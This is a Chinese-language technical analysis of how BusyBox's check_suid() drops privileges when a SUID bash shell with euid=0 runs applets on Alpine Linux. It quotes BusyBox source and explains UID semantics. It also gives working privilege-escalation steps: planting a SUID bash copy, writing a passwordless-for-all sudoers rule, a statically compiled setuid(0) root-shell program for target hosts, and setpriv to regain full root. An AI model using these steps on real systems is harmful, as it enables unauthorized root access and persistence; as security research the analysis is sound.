Alpine Linux 下 SUID Bash 获取 euid=0 Shell 后 BusyBox 降权机制分析
0. 快速了解
摘要:在大多数 Linux 发行版中,从 SUID Bash 拿到 ruid=1000,euid=0 的进程的 shell 后,此时已经具备执行大多数 root 权限操作的能力,但在 Alpine Linux 下,大多数工具都是 busybox 的链接文件,通过查阅 busybox 源码了解到入口处的 check_suid 函数会首先做权限检查,发现 ruid!=0 时,大多数工具按照编译时的策略主动放弃特权,主动放弃特权,降权后以普通用户权限执行操作,出现一些提权操作失败的情况,此时可以通过使用独立编译的二进制程序,或利用 shell 自身的文件操作能力绕过 BusyBox 的权限处理逻辑完成权限利用。
本文基于 BusyBox 1.38.0 源码、实际实验环境以及 Alpine Linux 发行版行为进行分析
写作过程中使用 AI 工具辅助发现可能遗漏的问题、审查逻辑链条以及优化表达,但最终结论均以源码验证和实验结果为准,并已由作者逐项复核,若存在错误欢迎指出
问题:在Alpine Linux 环境下,从 SUID Bash 拿到 euid=0 的 shell 后,为什么看起来提权失败了

1. 实验现象与分析
1.1 现象:SUID Bash 下的 "提权失败"
实验环境为 Alpine Linux。Alpine 以 BusyBox 作为核心系统工具集,/bin/sh、/bin/ls、/bin/id 等绝大多数基础命令均为指向 /bin/busybox 的符号链接。每个这样的命令称为一个 applet——BusyBox 通过 argv[0] 识别要执行哪个 applet,并在其 main() 之前运行统一的 check_suid() 进行特权管理
实验环境:在常见非nosuid挂载的/var/tmp目录下,准备suid bash
cp /bin/bash /var/tmp/bash
chmod +s /var/tmp/bash
以普通用户 demo(uid=1000)运行suid bash并使用-p选项保留特权:
demo@localhost:/var/tmp$ ./bash -p
bash-5.3# # prompt 为 #,说明 euid=0
在另一个终端中查看进程状态,也能观察到 bash -p 的进程是root权限在运行

./bash的 setuid 位使exec后的进程处于ruid=1000, euid=0, suid=0。bash 的-p选项禁止 bash 自行setuid(getuid())降权。
此时执行id 命令实际为 BusyBox 的 id applet:
bash-5.3# id
uid=1000(demo) gid=1000(demo) groups=1000(demo)
shell 提示符是 #,但 id 输出却是 uid=1000(demo)。原因在于 BusyBox 1.38.0 的 coreutils/id.c 第 28 行声明:
//applet:IF_ID(APPLET_NOEXEC(id, id, BB_DIR_USR_BIN, BB_SUID_DROP, id))
进入 id_main() 前,check_suid() 已执行 setuid(1000) 降权。整个调用链如下——掉特权的是 id 这个 applet 自己,不是 bash -p 那个 shell:
bash -p 进程 (ruid=1000, euid=0, suid=0)
→ exec /usr/bin/id → /bin/busybox
→ check_suid()
ruid=1000 ≠ 0
APPLET_SUID(id) == BB_SUID_DROP
→ setuid(1000) # euid 降为 1000, suid 也降为 1000
→ id_main()
getuid()=1000, geteuid()=1000
euid == ruid → 不打印 euid 行
uid=1000(demo) gid=1000(demo) groups=1000(demo)
实验陷阱:在 BusyBox 环境中,
cat、id、ls等命令本身就是 BusyBox applet。使用这些工具观察 UID 状态时,你观察到的是 applet 自身被check_suid()处理后的身份,而非调用者(如bash -p)的原始 UID。所以,要验证当前 shell 的真正权限,不能经过busybox的降权处理,可以通过编译独立程序来实现或使用非 BusyBox 的链接工具
1.2 绕过 BusyBox 验证真实状态
编译独立程序,直接打印 getuid() 和 geteuid():
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
int main()
{
printf("before: r=%d e=%d\n", getuid(), geteuid());
int ret = setuid(0);
printf("ret=%d errno=%d\n", ret, errno);
printf("after : r=%d e=%d\n", getuid(), geteuid());
}
bash-5.3# ./b
before: r=1000 e=0
ret=0 errno=0
after : r=0 e=0
确认 bash -p 后的进程确实处于 ruid=1000, euid=0, suid=0。且 setuid(0) 调用成功(ret=0)——拥有 CAP_SETUID 的进程调用 setuid() 会将 ruid、euid、suid 三个字段全部设为指定值
对比 BusyBox id 的输出与 ./b 的输出:同一个 bash -p 中,id 只显示 uid=1000(因为 check_suid() 已经降权),而 ./b 直接输出 r=1000 e=0(绕过了 BusyBox)。这正是本实验的核心教训——在 BusyBox 环境中验证 shell 权限,必须用独立程序而非 BusyBox 工具
1.3 setuid(0) 实验
另一个实验:在 bash -p 中运行仅含 setuid(0) 的 ./a,然后调用 BusyBox 的 id 观察效果:
bash-5.3# ./a
/var/tmp # id
uid=0(root) gid=1000(demo) egid=0(root) groups=1000(demo)
此时 id 输出 uid=0(root)——与之前 uid=1000(demo) 截然不同。两次 id 调用的都是同一个 BusyBox applet,输出却完全相反
拆解
执行 ./a 前: ruid=1000, euid=0, suid=0
setuid(0): 当前进程 euid=0,具备 CAP_SETUID。
Linux 将此次视为特权 UID 切换,
setuid() 会同时修改 ruid、euid、suid 三者。
执行 ./a 后: ruid=0, euid=0, suid=0 ← 全部三个 UID 被同步为 0
之后进程中 ruid == 0。BusyBox 的 check_suid() 看到 ruid == 0,直接 return,跳过所有检查。因此再次执行 busybox id 时,整个进程已是完整 root 身份,输出 uid=0(root)
2. 恢复完整 Root 身份
通过 SUID Bash 获得的 shell 处于 ruid=1000, euid=0, suid=0。此时大量 BusyBox applet 会触发 DROP 降权。三种绕过方案:
2.1 方案一:输出重定向
POSIX 规定 Shell 在执行命令前完成重定向。当输出重定向使用 O_CREAT 创建新文件时,POSIX 要求新文件的属主设为调用进程的 effective user ID。Linux 内核在执行 open() 的访问权限检查时使用 fsuid,普通情况下 fsuid 与 euid 相同。因此,对于保留 euid=0 的 bash -p,输出重定向仍以 root 身份执行
参考:POSIX Redirection | POSIX open
验证:
bash-5.3# id
uid=1000(demo) gid=1000(demo) euid=0(root)
bash-5.3# cat <<'EOF' > /tmp/test
hello
EOF
bash-5.3# ls -l /tmp/test
-rw-r--r-- 1 root root 6 Jul 2 04:45 /tmp/test
此处
id输出中出现了euid=0(root)行,与 1.1 节的输出不同。这可能源于 BusyBox 编译配置差异或idapplet 模式声明的版本变化,属于实际场景中可能遇到的正常现象
直接提权:
cat > /etc/sudoers.d/a << EOF
ALL ALL=(ALL) NOPASSWD: ALL
EOF

2.2 方案二:编译 setuid(0) 程序
#include <unistd.h>
int main() {
setgid(0);
setuid(0);
execl("/bin/sh", "sh", NULL);
}
静态编译(应对靶机无编译环境):
gcc --static -o s s.c
目标机上执行 ./s 即可获得完整 root shell。

2.3 方案三:非 BusyBox 独立工具
使用独立的二进制文件,不经过 BusyBox 的check_suid()的降权操作:
在 Alpine Linux 中,apk 是独立的二进制文件,非 BusyBox applet,并且在suid的bash -p进程下,鉴权操作似乎只关注euid=0,允许执行,这意味着我们可以安装独立的GNU版本工具覆盖 BusyBox 的链接文件
apk add setpriv
setpriv --reuid=0 --regid=0 --init-groups /bin/bash
# 安装 coreutils 获取独立的 id、ls 等工具
apk add coreutils

3. busybox细节说明
Linux 前置内容补充
每个 进程维护以下 UID 属性:
| 字段 | 含义 | 获取方式 |
|---|---|---|
| ruid | 真实用户 ID,原始登录用户 | getuid() |
| euid | 有效用户 ID,传统 DAC 权限检查依据 | geteuid() |
| suid | 保存的设置用户 ID,用于临时降权后恢复特权 | getresuid() 第三字段 |
setuid 位(chmod u+s)的作用——当可执行文件 setuid 位置位且属主为 root 时,exec 后:
ruid = 调用者原有 ruid (例如 1000)
euid = 文件属主 (0, root)
suid = 0 (root)
即 euid 和 suid 都被设为文件属主的值,ruid 保持为原用户。这正是实验中 ./bash -p 之后的状态
3.1 执行流程
main() — 解析名字、准备环境
libbb/appletlib.c:1042-1143:
int main(int argc UNUSED_PARAM, char **argv)
{
// ...
lbb_prepare("busybox" IF_FEATURE_INDIVIDUAL(, argv)); // 1112: 初始化
applet_name = argv[0]; // 1120: "cat" 或 "id" 或 "su" 等
if (applet_name[0] == '-') // 1121: 去除登录 shell 的 "-sh" 前缀
applet_name++;
applet_name = bb_basename(applet_name); // 1123: "/bin/ls" → "ls"
parse_config_file(); // 1140: 若 FEATURE_SUID_CONFIG,读 /etc/busybox.conf
// 无论如何都会执行 ruid = getuid()
run_applet_and_exit(applet_name, argv); // 1141: 进入分发
}
parse_config_file() 里关键的一行(appletlib.c:532):
IF_FEATURE_SUID(ruid = getuid();) // ← 记录"谁在按键"
run_applet_and_exit() — 找到 applet
appletlib.c:987-1007:
static NORETURN void run_applet_and_exit(const char *name, char **argv)
{
if (is_prefixed_with(name, "busybox")) // 990: "busybox cat" → 进 busybox_main
exit(busybox_main(0, argv));
int applet = find_applet_by_name(name); // 996: 在 applets[] 表里二分查找 "cat"
if (applet >= 0)
run_applet_no_and_exit(applet, name, argv); // 998: 找到了,进入
// 没找到 → 输出 "xxx: applet not found",exit(127)
}
run_applet_no_and_exit() — 降权检查点
appletlib.c:963-983:
void FAST_FUNC run_applet_no_and_exit(int applet_no, const char *name, char **argv)
{
applet_name = name;
show_usage_if_dash_dash_help(applet_no, argv); // 973: 处理 --help
if (ENABLE_FEATURE_SUID)
check_suid(applet_no); // 976: ← ★ 降权发生在这里
argc = string_array_len(argv);
xfunc_error_retval = applet_main[applet_no](argc, argv); // 979: 进入业务逻辑
}
关键:check_suid() 在 applet_main() 之前执行。applet 的 main() 函数拿到的是已经降权后的身份
check_suid() 内部有两层决策:若有 /etc/busybox.conf,按配置文件做运行时鉴权和 uid/gid 切换;若无,则退回到编译期声明的 BB_SUID_REQUIRE/BB_SUID_DROP/BB_SUID_MAYBE 逻辑。Alpine Linux 默认不启 FEATURE_SUID_CONFIG,因此本实验全程走回退路径,下文代码仅展示该路径。
appletlib.c:555-651,已精简:
static void check_suid(int applet_no)
{
gid_t rgid;
// ── 分支 0:已是 root → 直接跳过 ──
if (ruid == 0)
return; // 559: root 登录,不需要任何处理
rgid = getgid(); // 561: 记录真实 gid
// ── 分支 1:BB_SUID_REQUIRE → 必须有 root,否则拒绝 ──
if (APPLET_SUID(applet_no) == BB_SUID_REQUIRE) {
if (geteuid()) // 625: euid 不是 0?
bb_simple_error_msg_and_die(
"must be suid to work properly"); // 626: 报错退出
// euid==0 → 通过,保留 root 权限进入 main()
}
// ── 分支 2:BB_SUID_DROP → 主动丢弃特权 ──
else if (APPLET_SUID(applet_no) == BB_SUID_DROP) {
setgid(rgid); // 641: rgid = demo 的真实 gid
setuid(ruid); // 642: ruid = demo 的真实 uid
// 此时: ruid=demo, euid=demo, suid=demo ← euid、suid均被丢弃
}
// ── 分支 3:BB_SUID_MAYBE → 什么都不做,保留当前状态 ──
// (ping、traceroute 等:euid=0 就留着用,euid=demo 也接受)
}
check_suid() 入口判断是 if (ruid == 0) return;——检查的是 real uid,而非 effective uid。这意味着即使 euid=0,只要 ruid≠0,检查继续执行。ruid≠0 时,根据每个 applet 在注册时声明一个编译期策略,由 check_suid() 统一执行。以下为 BusyBox 1.38.0 默认配置下的代表性分类:
| Applet | 模式 | 运行时行为 |
|---|---|---|
| passwd | REQUIRE | euid=0 放行;非 root 仅可改自己密码,写入 /etc/passwd 前 xsetuid(0) 恢复 |
| su | REQUIRE | euid=0 放行;getuid() 非 root 须认证密码 |
| login | REQUIRE | euid=0 放行;认证后 change_identity() 切换 |
| vlock | REQUIRE | euid=0 放行;以 getuid() 身份锁定 |
| crontab | REQUIRE | euid=0 放行;sanitize_env_if_suid() 后以 getuid() 确定操作对象 |
| wall | REQUIRE | euid=0 放行;xopen_as_uid_gid(..., getuid(), ...) 以真实用户读文件 |
| crond | DROP | 降权后 fork,以目标用户执行任务 |
| adduser / deluser / addgroup | DROP | 降权后 geteuid()!=0 拒绝,实际需 root 直接运行 |
| chpasswd | DROP | 同上 |
| httpd / tcpsvd / udpsvd | DROP | 降权后 bind,再降权到指定用户 |
| cat / ls / id / ash / vi ... | DROP | 直接降权为 ruid 运行 |
| traceroute / ping / findfs | MAYBE | 不主动降权;实际权限取决于编译选项与 capability 设置 |
| mount | MAYBE/DROP | DESKTOP 版本为 MAYBE,否则 DROP |
BB_SUID_DROP的 applet(如 adduser)通过geteuid() != 0自查,但这发生在check_suid()已执行setuid(ruid)之后。所以这些 applet 实际上要求的是以 root 身份直接运行(而非通过 setuid 位),因为 setuid 来的特权在进入 main() 之前就被丢弃了
其中,passwd、su等场景涉及权限问题,在常见发行版会給 passwd、su设置suid位,而 Busybox 是一个集成了众多工具的单一二进制文件,如果給busybox设置suid位,所有工具都会受到影响,虽然可以通过 check_suid和applet的drop策略来控制,但仍然可能会引入安全问题。Alpine 选择了更简单、更激进的另一条路径:写 100 行 C 做 SUID 代理,白名单硬编码,攻击面压缩到极致,剩下全部交给 /bin/busybox + check_suid(),bbsuid 凭借自己的 SUID bit 获得 euid=0,然后把这个 euid 通过 execv 传给 /bin/busybox,让 BusyBox 的 check_suid() 看到 euid=0,放行 su、passwd 等 applet
check_suid 这个函数本质上是 SUID 特权状态的统一管理,不管 busybox 有没有 suid 位,它只根据进程当前的 uid 状态和每个 applet 声明的需求,决定是否允许执行、是否放弃特权
- 对于 BB_SUID_DROP 模式的applet,进入 busybox 的 check_suid() 并调用 setuid(ruid),该进程的 euid 和 suid 同时被设为 ruid,再进入 applet 业务逻辑
- 对于 BB_SUID_REQUIRE 模式的applet,check_suid() 会检查 euid 是否为 0,如果不是则报错退出;如果是,则允许继续执行,保持原有的 euid=0 状态
那么常见情况 busybox 并没有 suid 位,那么对于 BB_SUID_REQUIRE 的 applet,该怎么正确运行?下文揭晓。
3.2 sanitize_env_if_suid() — 环境变量清理
当检测到 getuid() != geteuid()(即处于 setuid 场景),BusyBox 会在进入 applet 前清理以下危险环境变量:
ENV BASH_ENV HOME IFS SHELL LD_LIBRARY_PATH LD_PRELOAD LD_TRACE_LOADED_OBJECTS LD_BIND_NOW LD_AOUT_LIBRARY_PATH LD_AOUT_PRELOAD LD_NOWARN LD_KEEPDIR
该函数并非全局自动调用,只有crontab、login、mount 3 个 applet 显式调用它
miscutils/crontab.c:107 → sanitize_env_if_suid()
loginutils/login.c:357 → sanitize_env_if_suid()
util-linux/mount.c:2293 → sanitize_env_if_suid()
同时会重置 PATH,阻止通过环境变量注入实现提权